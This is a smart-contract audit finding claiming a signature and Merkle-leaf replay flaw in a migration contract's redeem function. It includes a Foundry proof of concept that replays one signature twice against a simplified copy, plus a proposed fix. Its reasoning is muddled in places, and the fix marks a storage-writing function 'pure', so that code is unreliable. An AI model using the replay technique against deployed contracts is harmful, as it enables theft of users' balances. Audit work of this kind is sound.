Summary
in redeemDepositsAndInternalBalances there is no validation about the parameters that have been used which should be stored and should not be reused.
As a result, parameters that have already been used can be reused.
Vulnerability Details
Look at this:
function redeemDepositsAndInternalBalances(
address owner,
address reciever,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof,
uint256 deadline,
bytes calldata signature
) external payable fundsSafu noSupplyChange nonReentrant {
verifyDepositsAndInternalBalances(owner, deposits, internalBalances, ownerRoots, proof);
verifySignature(owner, reciever, deadline, signature);
function verifyDepositsAndInternalBalances(
address account,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof
) internal pure {
bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
}
function verifySignature(
address owner,
address reciever,
uint256 deadline,
bytes calldata signature
) internal view {
require(block.timestamp <= deadline, "Migration: permit expired deadline");
bytes32 structHash = keccak256(
abi.encode(REDEEM_DEPOSIT_TYPE_HASH, owner, reciever, deadline)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
require(signer == owner, "Migration: permit invalid signature");
}
In verifyDepositsAndInternalBalances, leaf is not stored, and there are no checks to ensure that leaf is only used once.
This means that parameters that have been filled in verifyDepositsAndInternalBalances and succeeded, can be reused.
And verifySignature also has no checks to ensure that the signature is only used once.
verifySignature prevents replay attacks by relying solely on deadline, which is bad.
See this:
require(block.timestamp <= deadline, "Migration: permission deadline expired");
So, deadline is always greater than block.timestamp for success.
Even if block.timestamp reaches the deadline or is smaller than block.timestamp, the owner can sign again to execute a replay attack. This is because verifyDepositsAndInternalBalances does not prevent replay attacks and there is no access control on redeemDepositsAndInternalBalances.
The vulnerabilities present in the verifyDepositAndInternalBalance and verifySignature functions make replay attacks unavoidable.
POC
Due to difficulty finding the same MERKLE_ROOT value as the L2ContractMigrationFacet contract.
So, this PoC only proved a simple signature replay of L2ContractMigrationFacet.
Then the bug in verifyDepositsAndInternalBalances can be proven by yourself with a replay attack scheme, since only you know the "leaves" of MERKLE_ROOT in the L2ContractMigrationFacet contract.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import "../src/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract PocTest is Test {
using ECDSA for bytes32;
L2ContractMigrationFacet_simple L2CMF_Op;
uint256 internal signerPrivateKey;
uint256 optimismFork;
bytes32 private constant REDEEM_DEPOSIT_TYPE_HASH =
keccak256(
"redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
);
function setUp() public {
optimismFork = vm.createSelectFork("https://rpc.ankr.com/optimism", 122288540);
L2CMF_Op = new L2ContractMigrationFacet_simple();
}
function test_poc_replay_attack() public {
vm.selectFork(optimismFork);
signerPrivateKey = 0xabc123;
address signer = vm.addr(signerPrivateKey);
address owner = signer;
address reciever = makeAddr("reciever");
uint256 deadline = block.timestamp + 7 days;
bytes32 structHash = keccak256(
abi.encode(REDEEM_DEPOSIT_TYPE_HASH, owner, reciever, deadline)
);
vm.startPrank(signer);
bytes32 hash = L2CMF_Op._hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, hash);
bytes memory signature = abi.encodePacked(r, s, v);
L2CMF_Op.redeemDepositsAndInternalBalances(owner, reciever, deadline, signature);
console.log("..Replay attack");
vm.warp(block.timestamp + 4200);
L2CMF_Op.redeemDepositsAndInternalBalances(owner, reciever, deadline, signature);
}
}
contract L2ContractMigrationFacet_simple is ReentrancyGuard {
bytes32 private constant MIGRATION_HASHED_NAME =
keccak256(bytes("Migration"));
bytes32 private constant MIGRATION_HASHED_VERSION = keccak256(bytes("1"));
bytes32 private constant EIP712_TYPE_HASH =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 private constant REDEEM_DEPOSIT_TYPE_HASH =
keccak256(
"redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
);
function redeemDepositsAndInternalBalances(
address owner,
address reciever,
uint256 deadline,
bytes calldata signature
) external payable nonReentrant {
verifySignature(owner, reciever, deadline, signature);
}
function verifySignature(
address owner,
address reciever,
uint256 deadline,
bytes calldata signature
) internal view {
require(
block.timestamp <= deadline,
"Migration: permit expired deadline"
);
bytes32 structHash = keccak256(
abi.encode(REDEEM_DEPOSIT_TYPE_HASH, owner, reciever, deadline)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
require(signer == owner, "Migration: permit invalid signature");
}
function _hashTypedDataV4(
bytes32 structHash
) public view returns (bytes32) {
return
keccak256(
abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)
);
}
* @notice Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return
keccak256(
abi.encode(
EIP712_TYPE_HASH,
MIGRATION_HASHED_NAME,
MIGRATION_HASHED_VERSION,
1,
address(this)
)
);
}
}
Impact
look at this code:
uint256 accountStalk;
for (uint256 i; i < deposits.length; i++) {
accountStalk += addMigratedDepositsToAccount(reciever, deposits[i]);
}
setStalk(reciever, accountStalk, ownerRoots);
function setStalk(address account, uint256 accountStalk, uint256 accountRoots) internal {
s.accts[account].stalk += accountStalk;
s.accts[account].roots += accountRoots;
emit StalkBalanceChanged(account, int256(accountStalk), int256(accountRoots));
}
Tools Used
Manual
Recommendations
mapping(bytes32 leaf => bool redeemed) public isRedeemed;
function verifyDepositsAndInternalBalances(
address account,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof
) internal pure {
bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
if (isRedeemed[leaf]) revert REDEEMED_ALREADY();
require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
isRedeemed[leaf] = true;
}
And also do that in verifySignature ensure that can't be front running attack, like add access control or nonces
